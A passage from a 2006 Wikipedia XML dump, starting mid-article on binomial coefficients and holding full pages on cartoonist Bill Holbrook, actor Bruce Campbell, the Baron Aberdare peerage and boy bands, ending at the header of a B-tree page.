For fixed ''k'', the expression &lt;math&gt;f(z)={z\choose k}&lt;/math&gt; is a [[polynomial]] in ''z'' of degree ''k'' with [[rational number|rational]] coefficients.
 
''f''(''z'') is the unique polynomial of degree ''k'' satisfying  

:''f''(0) = ''f''(1) = ... = ''f''(''k'' &amp;minus; 1) = 0 and ''f''(''k'') = 1.

Any polynomial ''p''(''z'') of degree ''d'' can be written in the form

:&lt;math&gt; p(z) = \sum_{k=0}^{d} a_k {z\choose k} &lt;/math&gt;

This is important in the theory of [[difference equation]]s and [[finite difference]]s, and can be seen as a discrete analog of [[Taylor's theorem]]. It is closely related to [[Newton's polynomial]]. Alternating sums of this form may be expressed as the [[Nörlund-Rice integral]].

== Newton's binomial series ==
Newton's binomial series, named after [[Sir Isaac Newton]], is one of the simplest [[Newton series]]:

:&lt;math&gt; (1+z)^{\alpha} = \sum_{n=0}^{\infty}{\alpha\choose n}z^n = 1+{\alpha\choose1}z+{\alpha\choose 2}z^2+\cdots.&lt;/math&gt;
 	
The radius of convergence of this series is 1.  An alternative expression is

:&lt;math&gt;\frac{1}{(1-z)^{\alpha+1}} = \sum_{n=0}^{\infty}{\alpha+n\choose \alpha}z^n&lt;/math&gt;

where the identity 

:&lt;math&gt;{n \choose k} = (-1)^k {k-n-1 \choose k}&lt;/math&gt;

is applied.

The formula for the binomial series was etched onto Newton's gravestone in [[Westminster Abbey]] in [[1727]].

== Generalization to ''q''-series ==

The binomial coefficient has a [[q-analog]] generalization known as the [[Gaussian binomial]].

==See also==
* [[Central binomial coefficient]]
* [[Binomial transform]]
* [[Table of Newtonian series]]
* [[List of factorial and binomial topics]]

== References ==
* ''This article incorporates material from the following [[PlanetMath]] articles, which are licensed under the [[Wikipedia:Text of the GNU Free Documentation License|GFDL]]: [http://planetmath.org/?op=getobj&amp;amp;from=objects&amp;amp;id=273 Binomial Coefficient], [http://planetmath.org/?op=getobj&amp;amp;from=objects&amp;amp;id=4074 Bounds for binomial coefficients], [http://planetmath.org/?op=getobj&amp;amp;from=objects&amp;amp;id=6744 Proof that C(n,k) is an integer], [http://planetmath.org/?op=getobj&amp;amp;from=objects&amp;amp;id=6309 Generalized binomial coefficients].''
* [[Donald Knuth]]. ''The Art of Computer Programming'', Volume 1: ''Fundamental Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89683-4. Section 1.2.6: Binomial Coefficients, pp.52&amp;ndash;74.
* David Singmaster, Notes on binomial coefficients. III. Any integer divides almost all binomial coefficients. ''J. London Math. Soc. (2),'' volume 8 (1974), 555&amp;ndash;560.

[[Category:Factorial and binomial topics]]
[[Category:Integer sequences]]

[[bn:দ্বিপদী সহগ]]
[[cs:Kombinační číslo]]
[[de:Binomialkoeffizient]]
[[es:Coeficiente binomial]]
[[fi:Binomikerroin]]
[[fr:Coefficient binomial]]
[[it:Coefficiente binomiale]]
[[ko:이항계수]]
[[lt:Deriniai]]
[[nl:Binomiaalcoëfficiënt]]
[[pl:Symbol Newtona]]
[[ru:Биномиальный коэффициент]]
[[sl:Binomski koeficient]]
[[sr:Биномни коефицијент]]
[[zh:二項式係數]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Holbrook</title>
    <id>4669</id>
    <revision>
      <id>37786330</id>
      <timestamp>2006-02-02T03:21:00Z</timestamp>
      <contributor>
        <username>CyberSkull</username>
        <id>123609</id>
      </contributor>
      <comment>[[Category:Living people]]</comment>
      <text xml:space="preserve">'''Bill Holbrook''' is a prolific American [[comic strip]] writer and artist.

Holbrook draws three strips:

* ''[[On the Fastrack]] ''(see [http://www.kingfeatures.com/features/comics/fastrack/about.htm Info about ''On the Fastrack'']).
* ''[[Safe Havens]]'', syndicated nationally in the USA (see [http://www.kingfeatures.com/features/comics/safehavn/about.htm Info about ''Safe Havens'']).
* ''[[Kevin and Kell]]'', originally an [[webcomic|online-only strip]] but now also published in the [[Atlanta Journal-Constitution]].

His online biography (found on the ''Kevin and Kell'' [http://kevinandkell.com/ web page]) says that every week he writes the story line for the next three weeks for one of his strips and draws the next three weeks' worth of strips for another.

{{webcomic-author-stub}}

[[Category:American cartoonists|Holbrook, Bill]]
[[Category:Comic strip cartoonists|Holbrook, Bill]]
[[Category:Webcomic authors|Holbrook, Bill]]
[[Category:Living people|Holbrook, Bill]]</text>
    </revision>
  </page>
  <page>
    <title>Bruce Campbell</title>
    <id>4670</id>
    <revision>
      <id>41734741</id>
      <timestamp>2006-03-01T10:47:05Z</timestamp>
      <contributor>
        <ip>207.75.132.179</ip>
      </contributor>
      <comment>/* Videogame credits */</comment>
      <text xml:space="preserve">[[Image:Brucecampbellsiu.jpg|right|thumb|250px|Bruce Campbell lectures on his life as a B Movie actor.]]'''Bruce Campbell''' (born [[June 22]], [[1958]], [[Royal Oak, Michigan]]) is an [[United States|American]] [[actor]] of [[Scottish people|Scottish]] descent. Campbell is best known for his starring role as [[Ash Williams|Ash]] in the ''[[Evil Dead]]'' trilogy of [[horror film|horror]]/slapstick [[film|movies]].  

Campbell began acting as a teenager and soon began making small [[Super 8mm film|Super 8]] movies with friends. After meeting [[Sam Raimi]] in high school the two became good friends and started making movies together. Campbell would go on to attend [[Western Michigan University]] while he continued to work on his acting career. A few years and at least fifty movies later, they got together with other family and friends and began work on ''[[The Evil Dead]].'' Campbell starred and worked behind the camera, receiving a &quot;co-executive producer&quot; credit; Raimi directed. Four years later the movie became a [[cult film|cult]] hit in [[England]], leading to American success and two [[sequel]]s: Evil Dead II and the Army of Darkness.  
[[Image:Bruce-Campbell-G4-Jun72005.jpg|thumb|left|260px|Campbell during a [[G4_(TV channel)|G4]] television interview]]

Campbell has appeared in many of Raimi's films outside of the ''Evil Dead'' series, usually in small roles. He was supposed to star in ''[[Darkman]]'' but the studio reportedly insisted on [[Liam Neeson]]. Campbell stayed on behind the scenes, credited as &quot;additional voice recording,&quot; and appears in the film's final shot. He has also had several small parts in the movies of [[Joel and Ethan Coen]] (Joel was an editor on ''The Evil Dead''). Many people consider him to be the greatest &quot;[[B-movie]]&quot; star of all time. He often appears in films that go [[Direct-to-video|straight to video]] or cable TV. Over the years Bruce has developed a huge fanbase and he is a favorite at film conventions. Campbell has a reputation as being one of the nicest people in the business, and offers advice about getting into the film industry on his website.

Campbell is referred to in the [[2002]] film ''[[Dog Soldiers]]'' in which one of the characters is named after him.

Outside of film, Campbell has appeared in a number of television series. While he starred in ''[[The Adventures of Brisco County, Jr.]]'' and ''[[Jack of All Trades]],'' he is better known for his supporting role as the [[recurring character]] [[Autolycus]] (&quot;the King of Thieves&quot;) on the fantasy series ''[[Hercules: The Legendary Journeys]]'' and ''[[Xena: Warrior Princess]].'' He also directed a number of episodes of ''Hercules'' and ''Xena.''

Campbell's [[autobiography]], ''If Chins Could Kill: Confessions of a B Movie Actor'' traces his career as an actor in low-budget movies and television. The paperback adds a chapter about the reaction of fans at book signings. Campbell has also finished a new book entitled &quot;Make Love the Bruce Campbell Way.&quot; It is comedic novel featuring himself as the main character, struggling to make it into the world of [[A-list]] movies, and the ensuing chaos that results.

Campbell wrote an ongoing column for X Ray Magazine in Cincinnati, Ohio called &quot;Off the Chin.&quot; 

Campbell lives in Oregon with his wife, Ida Gearon.

== Film credits ==
* ''[[Spider-Man 3]]'' (rumored [[2007]])
* ''[[The Ant Bully]]'' ([[2006]])
* ''[[They Call Me Bruce]]'' ([[2006]])
* ''[[Man with the Screaming Brain]]'' ([[2005]])
* ''[[Sky High (2005 film)|Sky High]]'' (2005)
* ''[[Alien Apocalypse]]'' (2005)
* ''[[The Woods]]'' (2005)
* ''[[Spider-Man 2]]'' ([[2004]]) (Cameo)
* ''[[The Ladykillers]]'' (2004)
* ''[[Intolerable Cruelty]]'' ([[2003]]) (Cameo)
* ''[[Drugs (film)|Drugs]]'' (2003)
* ''[[Terminal Invasion]]'' ([[2002]]) 
* ''[[Timequest]]'' (2002) 
* ''[[Hatred of a Minute]]'' (2002)
* ''[[Serving Sara]]'' (2002)
* ''[[Bubba Ho-Tep]]'' (2002)
* ''[[Spider-Man (film)|Spider-Man]]'' (2002) (Cameo)
* ''[[The Majestic]]'' ([[2001]])
* ''[[Running Time]]'' ([[1997]])
* ''[[McHale's Navy]]'' ([[1997]])
* ''[[Escape From L.A.]]'' ([[1996]])
* ''[[Congo (movie)|Congo]]'' ([[1995]])
* ''[[The Hudsucker Proxy]]'' ([[1994]])
* ''[[Army of Darkness]]'' (a.k.a. ''Evil Dead 3'') ([[1993]])
* ''[[Maniac Cop]]'' ([[1988]])
* ''[[Evil Dead II|Evil Dead 2: Dead by Dawn]]'' ([[1987]])
* ''[[Crimewave]]'' ([[1985]])
* ''[[The Evil Dead]]'' ([[1982]])

== Television credits ==
* ''[[My Life As A Teenage Robot]]'' (As the voice of Himcules)
* ''[[Lois and Clark: The New Adventures of Superman]]''
* ''[[The Adventures of Brisco County, Jr.]]''
* ''[[Hercules: The Legendary Journeys]]''
* ''[[Xena: Warrior Princess]]''
* ''[[Jack of All Trades]]''
* ''[[Ellen_DeGeneres|Ellen]]''
* ''[[Homicide:_Life_on_the_Street|Homicide: Life on the Street]]''
* ''[[The X-Files]]'' ([[The X-Files (season 6)|season 6]], episode 7: ''Terms of Endearment'')
* ''[[Megas XLR]]'' (Guest starring as Magnanimous in two episodes)
* ''[[Charmed]]'' - as [[Agent Jackman]]
* ''[[V.I.P._(TV_series)|V.I.P.]]'' (Director)

==Videogame credits==
*[[Evil Dead: Hail to the King]]
*[[Evil Dead: Fistful of Boomstick]]
*[[Evil Dead: Regeneration]]
*[[Spider-Man: The Movie]]
*[[Spider-Man 2]]
*[[Tachyon: The Fringe]]

==Sources==
* ''If Chins Could Kill: Confessions of a B Movie Actor'' (ISBN 0312242646),
* ''Make Love the Bruce Campbell Way''

==External links==
* [http://www.bruce-campbell.com/ The Official Bruce Campbell Website]
* {{imdb name|id=0132257|name=Bruce Campbell}}
* [http://slashdot.org/article.pl?sid=05/07/16/0721238&amp;tid=186&amp;tid=97&amp;tid=133 Salon Interviews Bruce Campbell]
* [http://www.kittenpants.org/21_ray/bruce.asp Kittenpants.org interview]
* [http://www.thegate.ca/gallery/thumbnails.php?album=11 ''Make Love the Bruce Campbell Way''] - Book Signing Photo Gallery @ TheGATE.ca
* [http://www.sweatpantserection.com/bruce-campbell-interview.html Bruce Campbell Interview] (fan interview) &lt;!--Note: this link is not porn--&gt;
* [http://www.badmouth.net/interview-bruce-campbell-part-1-of-3/ Interview: Bruce Campbell] (Badmouth.net)

{{Evil Dead}}

[[Category:1958 births|Campbell, Bruce]]
[[Category:Living people|Campbell, Bruce]]
[[Category:American actors|Campbell, Bruce]]
[[Category:Scottish-Americans|Campbell, Bruce]]
[[Category:SubGenii|Campbell, Bruce]]
[[Category:Evil Dead|Campbell, Bruce]]
[[Category:Evil Dead actors|Campbell, Bruce]]
[[Category:Michigan State University alumni|Campbell, Bruce]]
[[Category:B-movie actors|Campbell, Bruce]]
[[Category:American film actors|Campbell, Bruce]]
[[Category:American television actors|Campbell, Bruce]]
[[Category:Spider-Man actors|Campbell, Bruce]]
[[de:Bruce Campbell]]
[[es:Bruce Campbell]]
[[fr:Bruce Campbell]]
[[fi:Bruce Campbell]]
[[sv:Bruce Campbell]]</text>
    </revision>
  </page>
  <page>
    <title>Baron Aberdare</title>
    <id>4671</id>
    <revision>
      <id>42086755</id>
      <timestamp>2006-03-03T19:09:18Z</timestamp>
      <contributor>
        <username>Choess</username>
        <id>245519</id>
      </contributor>
      <minor />
      <comment>date</comment>
      <text xml:space="preserve">The title of '''Baron Aberdare''', of Duffryn in the [[Glamorgan|County of Glamorgan]], was created in the [[Peerage of the United Kingdom]] on [[August 23]], [[1873]] for [[Henry Bruce, 1st Baron Aberdare|Henry Bruce]], then [[Secretary of State for the Home Department|Home Secretary]].

==Barons Aberdare ([[1873]])==
*[[Henry Bruce, 1st Baron Aberdare|Henry Austin Bruce, 1st Baron Aberdare]] ([[1815]]&amp;ndash;[[1895]])
*[[Henry Bruce, 2nd Baron Aberdare|Henry Campbell Bruce, 2nd Baron Aberdare]] ([[1851]]&amp;ndash;[[1929]])
*[[Clarence Bruce, 3rd Baron Aberdare|Clarence Napier Bruce, 3rd Baron Aberdare]] ([[1885]]&amp;ndash;[[1957]])
*[[Morys Bruce, 4th Baron Aberdare|Morys George Lyndhurst Bruce, 4th Baron Aberdare]] ([[1919]]&amp;ndash;[[2005]]) (elected into House of Lords, 1999)
*[[Alastair Bruce, 5th Baron Aberdare|Alastair John Lyndhurst Bruce, 5th Baron Aberdare]] (b. [[1947]])

[[Category:Baronies|Aberdare]]</text>
    </revision>
  </page>
  <page>
    <title>Bodhran</title>
    <id>4672</id>
    <revision>
      <id>15902932</id>
      <timestamp>2003-07-31T18:31:56Z</timestamp>
      <contributor>
        <ip>62.77.186.50</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bodhrán]]</text>
    </revision>
  </page>
  <page>
    <title>Boy band</title>
    <id>4673</id>
    <revision>
      <id>41825263</id>
      <timestamp>2006-03-02T00:06:18Z</timestamp>
      <contributor>
        <username>Sweetiepetie</username>
        <id>634280</id>
      </contributor>
      <minor />
      <text xml:space="preserve">A '''boyband''' ([[British English]]) - or '''boy band''' ([[American English]]) -  is a style of [[pop group]] featuring between three and six young male [[singer]]s who are usually also [[dancer]]s.   They also sing [[R&amp;B]] songs as well and sometimes [[hip-hop]].  Often, they evolve out of church choral groups, or are put together by managers or producers who audition the groups for appearance, dancing, and singing ability, and often seen to be [[prefabricated]]. They are similar in concept to [[girl group]]s. However, even though the term is boyband, the ability to play instruments is not generally seen as a requirement, as  the acts are basically a 'vocal harmony group'. Due to this and the fact that the acts are aimed at a '[[teenybopper]]' or '[[tween]]' audience the term has slight negative connotations in the serious rock press. This is why acts such as [[Pete Waterman]]'s [[One True Voice]] try not to be labeled with it. 

==Definition==
Maurice Starr is usually credited with starting the trend, with his protégés [[New Kids On The Block]] (though the term 'boyband' did not occur till later in the 1990s). Starr's brainwave was to take the traditional template from the R&amp;B genre (in this case his teenage band [[New Edition]]) and apply it to a pop genre. This formula was then in turn redefined by a number of European managers such as [[Nigel Martin-Smith]] and [[Louis Walsh]], till the UK pop marketplace was saturated with the genre.

Though the term is mostly associated with the 1990s onwards, antecedents exist throughout the history of pop music. [[The Temptations]], popular in the 1960s, may be considered a boyband, while [[The Monkees]] certainly were prefabricated, and Latin boy band [[Menudo]] was founded in 1977. Boybands often achieve great commercial success.

Equally important to the group's commercial success is the group's image, carefully controlled by managing all aspects of the group's dress, promotional materials (which are supplied to [[teen magazine]]s), and [[music video]]s, the most famous boy band manager being [[Lou Pearlman]]. Typically, each member of the group will have some distinguishing feature and be portrayed as having a particular personality stereotype, such as &quot;the baby,&quot; &quot;the bad boy,&quot; &quot;the nice boy.&quot; Whilst managing the portrayal of popular musicians is as old as [[popular music]], the particular pigeonholing of boy band members is a defining characteristic of boy and girl bands. 

In most cases, their music is written, arranged, and produced by a producer who works with the band at all times and controls the group's sound - if necessary, to the point of hiring [[session singers]] to record guide vocals for each member of the group to sing individually (if the members cannot harmonize together well). A typical boy band performance features elaborately [[choreography|choreographed]] dancing, with the members taking turns singing (or, sometimes, [[lip-sync]]ing, even some of Pearlman's band's have been known to) to pre-recorded vocals and music. More often than not, boy bands are disallowed from composing or producing their own material, unless the members lobby hard enough for creative control (e.g. [[The Monkees]] and [[*NSYNC]]).

Boy bands tend to be heavily criticized by certain musical press for appealing only to pubescent female teenagers and for emphasizing marketing and packaging over quality of music.  Such views are reflected in the humorous definition in the [[Chambers Dictionary]]: &quot;a pop group, targeting mainly the teenage market, composed of young males chosen because they look good and can dance and sometimes even sing&quot;. Some critics compare boy band output to the &quot;machine-generated&quot; popular music found in [[George Orwell]]'s novel, ''[[Nineteen Eighty-Four]]'', noting that much of their music (as well as the bands' compositions) is extremely formulaic.  Other critics point to boy bands (and related musical groups) as case studies in [[commercialism]] and [[postmodernism]], with little cultural content. Such criticisms can become extremely scathing:

::'' After scouring the country for five boys who could belt out tunes while doing the splits, (Lou Pearlman) assembled a clean-cut collection of effeminate white and Latino-looking boys, all pink cheeks and crew cuts with peroxided tips. Just like the Backstreet Boys and *NSYNC, there's the cute blond guy, one with curly hair, the dark one with big dimples, the guy with the funny facial hair and the less cute, but really sensitive, guy.'' 
 
::''Pearlman herded them into a tiny apartment, forcing these guys in their late teens and early 20s to share bedrooms (hey, less opportunity for illicit sexual activity -- at least with the opposite sex), and forbade them to stay out past midnight. He dressed them in coordinated red and silver &quot;rave&quot; outfits and spoon-fed them sugary-sweet lyrics like &quot;Would I cross an ocean just to hold you ... Would I give up all I have to see you smile?&quot; And then he set them loose on concert halls full of 12-year-old girls, who dutifully screamed their lungs out in a kind of mass orgasm fueled by all that scrubbed-clean testosterone.'' (Janelle Brown, &quot;Sluts and Teddy Bears,&quot; Salon.com, 2001).

Though some fans are wildly supportive of the music, the commercial success of specific boy bands does not tend to last long. As the fans (mostly preteen girls) age and their musical tastes evolve, they tend to outgrow such groups' appeal. If success is sustained, often one or more members of the band will leave and seek a solo career (particularly if they have some songwriting ability), often with some success (for instance: [[Michael Nesmith]], [[Michael Jackson]], [[George Michael]], [[Robbie Williams]], [[Justin Timberlake]], [[Ronan Keating]], [[Ricky Martin]]).

==Famous boybands==

Even though the term 'boyband' as one word is a late 90s creation, here is a list of acts that have fitted the formula of the genre:

* [[112 (band)|112]] ([[United States]]) ([[1995]]-present)
* [[17:28 (musical group)|17:28]] ([[Philippines]]) 
* [[2Be3]] ([[France]]) 
* [[3rd Wish]] ([[United States]])
* [[3SL]] ''&quot;Three Scott-Lee&quot;'' ([[United Kingdom]])
* [[3T]] ([[United States]]) 
* [[4PM]] ([[United States]]) 
* [[5ive]] ([[United Kingdom]]) ([[1997]]-[[2001]])
* [[5566]] ([[Taiwan]])
* [[604 (musical group)|604]] ([[Philippines]]) 
* [[911 (musical group)|911]] ([[United Kingdom]])
* [[98 Degrees]] ([[United States]]) ([[1996]]-present)
* [[A1 (band)|a1]] ([[United Kingdom]]) ([[1999]]-[[2002]])
* [[The Akafellas]] ([[Philippines]]) 
* [[Another Level]] ([[United Kingdom]]) 
* [[Arashi]] ([[Japan]])
* [[Aryans]] ([[India]])
* [[ATL (boy band)|ATL]] ([[United States]])
* [[Aventura]] ([[United States]])
* [[B3]] ([[Denmark]]) 
* [[Backstreet Boys]] ([[United States]]) ([[1993]]-present)
* [[Bad Boys Inc]] ([[United Kingdom]])
* [[Baha Men]] ([[United States]]) 
* [[Barako Boys]] ([[Philippines]]) 
* [[Big Fun]] ([[United Kingdom]])  
* [[Big Men]] ([[Philippines]])
* [[Blazin' Squad]] ([[United Kingdom]]) 
* [[Blue (boy band)|Blue]] ([[United Kingdom]]) ([[2000]]-[[2005]])
* [[Boy'z]] ([[Hong Kong]])
* [[Boystar]] ([[Australia]])
* [[Boyzone]] ([[Ireland]]) ([[1993]]-[[2001]])
* [[B-Rad's Supa-Stars]] ([[Dark Side of the Moon]]) ([[1979]])
* [[C21]] ([[Denmark]]) 
* [[Caught in the Act (boy band) |Caught in the Act]] ([[Netherlands]]) 
* [[The Choir Boys]] ([[United Kingdom]]) 
* [[The Click Five]] ([[United States]]) 
* [[Code 5]] ([[United States]]) 
* [[Code Red]] ([[United Kingdom]]) 
* [[Color Me Badd]] ([[United States]]) 
* [[Comic Boys]] ([[Japan]]) 
* [[Dale!]] ([[Argentina]])
* [[DBSK]] ([[TVXQ]]) ([[South Korea]])
* [[Devotion (boy band)|Devotion]] ([[Philippines]]) 
* [[Dream Street]] ([[United States]])
* [[D-Side]] ([[Republic of Ireland]]) 
* [[E-17]] ([[United Kingdom]]) 
* [[East 17]] ([[United Kingdom]])
* [[Euphoria (Indian band)|Euphoria]] ([[India]]) 
* [[Evan &amp; Jaron]] ([[United States]]) 
* [[F4 (band)|F4]] ([[Taiwan]]) ([[1999]]-[[2003]])
* [[Five (band)]] ([[United States]])
* [[Fixate]] ([[United Kingdom]]) 
* [[FLAME]] ([[Japan]])
* [[Fun-dmental '03]] ([[United Kingdom]])
* [[H.O.T.]] ([[South Korea]])
* [[Human Nature]] ([[Australia]])
* [[The Hunks]] ([[Philippines]]) 
* [[Il Divo]] ([[United Kingdom]] ([[2004]]-present)
* [[Immature]]/[[IMX]] ([[United States]])
* [[I.N.T.]] ([[United States]])
* [[inFOCUS]] ([[Ireland]]) ([[2000]])
* [[J Adore]] ([[United States]])
* [[J Brothers]] ([[Philippines]]) 
* [[Jeremiah]] ([[Philippines]]) 
* [[Jericho Road]] ([[United States]])
* [[Just 5]] ([[Poland]])
* [[Kai (band)|Kai]] ([[United States]]) 
* [[Kanjani 8]] ([[Japan]])
* [[KAT-TUN]] ([[Japan]])
* [[Kids in Trouble]] ([[Japan]])
* [[KRU]] ([[Malaysia]])
* [[Lead]] ([[Japan]])
* [[Lethbridge (band)|Lethbridge]] ([[Australia]])
* [[Lettermen]] ([[United States]]) 
* [[LMNT]] ([[United States]]) 
* [[Los MP]] ([[Argentina]])
* [[LFO|Lyte Funky Ones]] ([[United States]]) 
* [[Masculados]] ([[Philippines]]) 
* [[MDO]] ([[Puerto Rico]]) 
* [[Menudo]] ([[Puerto Rico]]) ([[1977]]-[[1997]])
* [[Mercury4]] ([[Australia]])
* [[Natural (band)|Natural]] ([[United States]]) ([[1999]]-[[2004]])
* [[New Kids On The Block]] ([[United States]]) ([[1984]]-[[1994]])
* [[NewS]] ([[Japan]]) 
* [[Next (band)|Next]] ([[United States]]) 
* [[No Authority]] ([[United States]]) 
* [[North (boy band)|North]] ([[Australia]]) 
* [[*NSYNC]] ([[United States]]) ([[1995]]-[[2002]])
* [[Upside Down / Orange Orange|Orange Orange]] ([[United Kingdom]]) 
* [[Otown|O*town]] ([[United States]]) ([[2000]]-[[2003]])
* [[O-Zone]] ([[Romania]]) ([[2000]]-[[2005]])
* [[OTT (boyband)|OTT]] ([[Ireland]])
* [[One True Voice]] ([[United Kingdom]]) ([[2002]]-[[2003]])
* [[Paran (boy band)|Paran]] ([[Korea]]) 
* [[Phixx]] ([[United Kingdom]])
* [[Playa (band)|Playa]] ([[United States]]) 
* [[Plus One]] ([[United States]]) 
* [[Point Break (boy band)|Point Break]] ([[United Kingdom]])
* [[Power 4]] ([[Philippines]]) 
* [[St. Lunatics]] ([[United States]])  
* [[Salbakutah]] ([[Philippines]]) 
* [[Shine (Cantopop group)|Shine]] ([[Hong Kong]])
* [[Shinhwa]] ([[South Korea]]) 
* [[Silk Route]] ([[India]])
* [[SMAP]] ([[Japan]])
* [[Son By Four]] ([[Puerto Rico]]) 
* [[Soul Control]] ([[Germany]]) 
* [[soulDecision]] ([[Canada]])
* [[South65]] ([[United States]]) 
* [[Streetboys]] ([[Philippines]]) 
* [[The Stylistics]] ([[United States]]) 
* [[Take 5 (band)|Take 5]] ([[United States]])
* [[Take 6 (band)|Take 6]] ([[United States]]) 
* [[Take That]] ([[United Kingdom]]) ([[1988]]-[[1996]])
* [[The Teens]] ([[Germany]]) - five boys born 1962-1964: Robert Bauer, Alexander Möbius, Uwe Schneider, Jörg Treptow, Michael Uhlich; performing late [[1970s]] - early [[1980s]]; in the [[1990s]] a comeback with two old and two new members. [http://www.teensfan.de/]
* [[T.O.K.]] ([[Jamaica]])
* [[Track 5]] ([[Australia]])
* [[Trademark (band)|Trademark]]  ([[Germany]]) 
* [[True Vibe]] ([[United States]]) 
* [[Universal (band)|Universal]] ([[Australia]]) 
* [[Upside Down / Orange Orange|Upside Down]] ([[United Kingdom]]) 
* [[US5]] ([[Germany]])
* [[V (band)|V]] ([[United Kingdom]]) ([[2004]]-[[2005]])
* [[V6 (band)|V6]] ([[Japan]])
* [[Village People]] ([[United States]]) 
* [[Viva Hot Men]] ([[Philippines]]) 
* [[Westlife]] ([[Ireland]]) ([[1998]]-present)
* [[Worlds Apart (group)|World's Apart]] ([[United Kingdom]]) 
* [[w-inds.]] ([[Japan]])
* [[Youngstown]] ([[United States]])

=== 'Urban' Boy bands / R&amp;B Vocal Harmony Groups ===

This is a list of traditional Soul and R&amp;B vocal harmony groups. The audience for these groups in the United Kingdom is normally more mature than that of 'boybands':

* [[All-4-One]] ([[United States]])
* [[Az Yet]] ([[United States]]) 
* [[B2K]] ([[United States]]) ([[2001]]-[[2004]])
* [[Blackstreet]] ([[United States]])
* [[Color Me Badd]] ([[United States]])
* [[Damage (band)|Damage]] ([[United Kingdom]])
* [[Jodeci]] ([[United States]])
* [[The Temptations]] ([[United States]])
* [[Silk]] ([[United States]])
* [[New Edition]] ([[United States]]) ([[1980]]-present)
* [[The Jackson 5]] ([[United States]]) ([[1966]]-[[1990]])
* [[Jagged Edge]] ([[United States]])

===Post-Boyband Groups===

These groups were signed in reaction to the boyband formula and are contemporaries of such solo recording acts as [[Avril Lavigne]]. However, even though these bands may play their own instruments and sight such bands as [[Green Day]] as an influence, there has been accusations that some of these bands are just as manufactured as those tagged as 'boybands'.

* [[Busted]] ([[United Kingdom]]) ([[2001]]-[[2005]])
* [[McFly]] ([[United Kingdom]]) ([[2004-present]])
* [[The Noise Next Door]] ([[United Kingdom]]) 
* [[Rooster (boy band)|Rooster]] ([[United Kingdom]]) ([[2004]]-present)

===Teen Hearthrobs of The Pre-Boyband Era===

These are the bands, mainly from the 1980s, that would have featured in the pages of [[Smash Hits]] and [[Number One (magazine)|Number One]] Magazines before the rise of the 1990s style 'vocal harmony' hearthrobs. Similar to the boybands appropriation of R&amp;B and soul sounds, many of the acts in this list from the late 1980s were termed '[[blue-eyed soul]]' bands, whilst earlier acts are either 'true pop' or electronic based pop.

* [[a-ha]] ([[Norway]])
* [[Breathe (band)|Breathe]] ([[United Kingdom]])
* [[Bros]] ([[United Kingdom]])
* [[Brother Beyond]] ([[United Kingdom]])
* [[Duran Duran]] ([[United Kingdom]])
* [[Johnny Hates Jazz]] ([[United Kingdom]])
* [[Perfect Day (band)|Perfect Day]] ([[United Kingdom]])
* [[The Monkees]] ([[United States]]) ([[1965]]-[[1970]], [[1986]]-[[1989]], [[1996]]-[[1997]])
* [[Seven(band)|Seven]] ([[United Kingdom]])
* [[Spandau Ballet]] ([[United Kingdom]])
* [[2 Brave]] ([[Norway]])
* [[Wet Wet Wet]]([[United Kingdom]])

In addition to the boybands, in the 1990s there were a number of bands continued with this trend towards real instrumentation:

* [[BB Mak]] ([[United Kingdom]])
* [[Hanson]] ([[United States]])
* [[The Moffatts]] ([[Canada]])
* [[North &amp; South (band)|North &amp; South]] ([[United Kingdom]])
* [[Ultra (boy band)|Ultra]] ([[United Kingdom]])

=== Male/Female vocal groups of the boyband era===

These groups are similar in style to boybands and marketed at the same '[[tween]]' and '[[teenybopper]]' markets. However they are mixed gender groups:

* [[4ORCE]] ([[Style 2 Style]] managed band not to be confused with 40RCE from the play 'boyband') ([[United Kingdom]])
* [[Hear'say]]  ([[United Kingdom]])
* [[Six (group)|Six]] ([[Ireland]])
* [[Scooch]] ([[United Kingdom]])
* [[Steps]] ([[United Kingdom]])

==Parodies==

The [[television]] series ''[[2ge-plus-her|2ge+her]]'' created a [[parody]] boy band with five personality types.

In a week-long spoof in [[1999]], talk show host [[Conan O'Brien]], complaining that he couldn't find a decent &quot;musical guest&quot; for his show, created his own boy band, '''Dudez-A-Plenti''', after randomly selecting five out-of-work actors. A series of humorous sketches ensued, culminating in a Friday performance of a song O'Brien apparently made up himself: &quot;''Baby, I Wish You Were My Baby.''&quot;

The [[Norway|Norwegian]] [[film|movie]] ''[[Get Ready to be Boyzvoiced]]'' [http://us.imdb.com/Title?0248036] is a [[mockumentary]] about the boyband [[Boyzvoice]], their fans and management.

In ''[[South Park]]'', [[Eric Cartman|Cartman]] formed a boy band named [[Fingerbang]].

The [[2001]] [[film]] ''[[Josie and the Pussycats (movie)|Josie and the Pussycats]]'' featured a fictional boy band named &quot;Du Jour.&quot;

In ''[[The Simpsons]]'', [[Bart Simpson|Bart]] is recruited to a boy band named [[Party Posse]] that is secretly a vehicle for [[Subliminal message|subliminal]] navy recruitment messages. The members of Nsync cameoed in the episode as themselves. Contrary to popular belief they did not do the 'Party Posse' voices.  Members of [[Lou Pearlman]]'s other band [[Natural (band)|Natural]] ([[Marc Terenzi]] did Nelson, [[Michael 'J' Horn]] did Milhouse, the rest are unknown) provided most of the voices.

On the [[Veggie Tales]] video ''The Ballad of Little Joe'', Larry, Mr. Lunt, Jimmy, and Junior do a parody of a boy band video for the original song &quot;Bellybutton&quot;.

The [[Meaty Cheesy Boys]] were a fictional band created during an ad campaign for [[Jack in the Box]] restaurants.

In [[WCW]], a group of three [[cruiserweight (professional wrestling)|cruiserweight]] wrestlers ([[Evan Karagias]], [[Gregory Helms|Shane Helms]], and [[Shannon Moore]]) formed a boy band in order to get more attention from women.  The group, [[3 Count]], performed several songs on [[WCW Monday Nitro]], and even acquired a roadie in former-[[Ultimate Fighting Championship|UFC]]-fighter [[Tank Abbott]].

A play (with music) called ''Boyband'', featuring a band named [[Boyband (play)|4ORCE]] and parodying the boy band phenomonen of the 90s with songs such as &quot;Coming from Behind&quot;, &quot;Our Love is Like Water - H40&quot; and &quot;Integrity&quot;, was performed at the [[Seymour Centre]] in [[Sydney]], [[Australia]] for 2 weeks in [[2005]] and is returning for a 4 week season in March 2006. (Note: not to be confused with the [[Style 2 Style]] managed band [[4ORCE]] from Manchester, United Kingdom, who were a male/female vocal group).

==External links==

* [http://dir.salon.com/mwt/style/2001/02/05/teen_aesthetic/index.html &quot;Sluts and Teddy Bears&quot;] - A cultural critique of the boy band phenomenon on [[Salon.com]].

{{popmusic}}

[[Category:Musical groups]] [[Category:Pop music]] [[Category:Men]] [[Category:Dance music]]

[[de:Boyband]]
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    </revision>
  </page>
  <page>
    <title>B-tree</title>
    <id>4674</id>
